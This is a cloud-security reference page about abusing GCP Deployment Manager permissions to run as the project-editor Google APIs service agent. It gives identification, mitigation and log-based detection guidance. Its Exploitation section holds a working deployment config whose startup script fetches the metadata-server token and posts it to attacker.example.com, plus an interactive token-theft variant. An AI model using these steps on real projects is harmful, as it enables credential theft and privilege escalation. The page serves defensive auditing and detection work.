Skip to content

GCP_DEPLOY_INFRA

Copy page

Summary

Forestall ACL Alias GCP_DEPLOY_INFRA
GCP Alias Compute Execution & Pipeline Pivots
Affected Object Types Projects
Exploitation Certainty Certain
Granting Roles roles/deploymentmanager.admin, roles/deploymentmanager.editor

Description

GCP_DEPLOY_INFRA indicates that an identity can create and manage Deployment Manager deployments. Deployment Manager is GCP’s infrastructure-as-code service (similar to Terraform or CloudFormation). Critically, Deployment Manager executes deployments using the Google APIs Service Agent ([PROJECT_NUMBER]@cloudservices.gserviceaccount.com), which is automatically granted roles/editor on the project.

An attacker with Deployment Manager permissions can define a deployment that provisions a VM or other resource with malicious configuration, all executed as the Google APIs SA. This SA has broad project-level write access and its token can be extracted from the provisioned resources.

Key abuse scenarios:

  • Deploy a VM via Deployment Manager (executed as Google APIs SA) → the SA has editor rights → extract SA token or abuse provisioned resources.
  • Deploy a Cloud Function with a custom SA → extract token from the function’s execution environment.
  • Use Deployment Manager to create IAM bindings or service account keys as the Google APIs SA.

Identification

gcloud CLI

# Find who has Deployment Manager admin or editor roles
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
jq '.bindings[] | select(.role | test("deploymentmanager.admin|deploymentmanager.editor")) | {role: .role, members: .members}'
# Check Google APIs SA permissions
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
APIS_SA="${PROJECT_NUMBER}@cloudservices.gserviceaccount.com"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
jq --arg sa "serviceAccount:${APIS_SA}" '.bindings[] | select(.members[] | contains($sa))'
# List existing deployments
gcloud deployment-manager deployments list --project=$PROJECT_ID \
--format="table(name, operation.status, insertTime)"

Exploitation

gcloud CLI

# Write a malicious Deployment Manager config that provisions a VM with a token-exfiltrating startup script
cat > /tmp/config.yaml << 'EOF'
resources:
- name: attacker-vm
type: compute.v1.instance
properties:
zone: us-central1-a
machineType: zones/us-central1-a/machineTypes/e2-micro
serviceAccounts:
- email: default
scopes:
- https://www.googleapis.com/auth/cloud-platform
disks:
- deviceName: boot
type: PERSISTENT
boot: true
autoDelete: true
initializeParams:
sourceImage: projects/debian-cloud/global/images/family/debian-11
networkInterfaces:
- network: global/networks/default
accessConfigs:
- name: External NAT
type: ONE_TO_ONE_NAT
metadata:
items:
- key: startup-script
value: |
#!/bin/bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
curl -X POST -d "$TOKEN" https://attacker.example.com/collect
EOF
# Submit the deployment — executed as the Google APIs SA (roles/editor on the project by default)
PROJECT_ID="target-project"
gcloud deployment-manager deployments create attacker-deployment \
--config=/tmp/config.yaml \
--project=$PROJECT_ID

Alternatively, SSH into the provisioned VM and extract the token interactively:

gcloud compute ssh attacker-vm --zone=us-central1-a --project=$PROJECT_ID
# From inside the VM:
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

Compound path: GCP_DEPLOY_INFRA → deploy VM via Google APIs SA (roles/editor) → extract Compute Engine default SA token from metadata server → use token to create additional SA keys, modify IAM bindings, or impersonate higher-privilege SAs.

Mitigation

  1. Restrict roles/deploymentmanager.editor to a dedicated automation SA, never human users in production.
  2. Remove or restrict the Google APIs SA ([PROJECT_NUMBER]@cloudservices.gserviceaccount.com) permissions — the default roles/editor is too broad; use a custom minimal role if Deployment Manager is required.
  3. Prefer Terraform with a purpose-specific SA over Deployment Manager to avoid the overly privileged Google APIs SA.
  4. Audit all deployments for unexpected resource types or startup scripts.
  5. Enable deployment approval workflows before Deployment Manager can create or modify resources in production.

Detection

Log Type Method Key Fields
Admin Activity insert (deploymentmanager) resource.type=deployment, deployment creation
Admin Activity *compute.instances.insert by Google APIs SA VM created by Deployment Manager
# Monitor Deployment Manager operations
gcloud logging read \
'resource.type="deployment" AND protoPayload.methodName=~"deploymentmanager"' \
--project=$PROJECT_ID \
--format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"
# Monitor VMs created by the Google APIs SA (Deployment Manager execution)
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
gcloud logging read \
"protoPayload.authenticationInfo.principalEmail=\"${PROJECT_NUMBER}@cloudservices.gserviceaccount.com\" AND protoPayload.methodName=~\"compute.instances.insert\"" \
--project=$PROJECT_ID \
--format="table(timestamp, protoPayload.request.name, protoPayload.request.serviceAccounts)"

Alert on:

  • Deployment creation by non-standard identities.
  • Deployments that provision compute instances.
  • Google APIs SA creating resources outside of known infrastructure pipelines.

References

Was this page helpful?

Thank you for your feedback.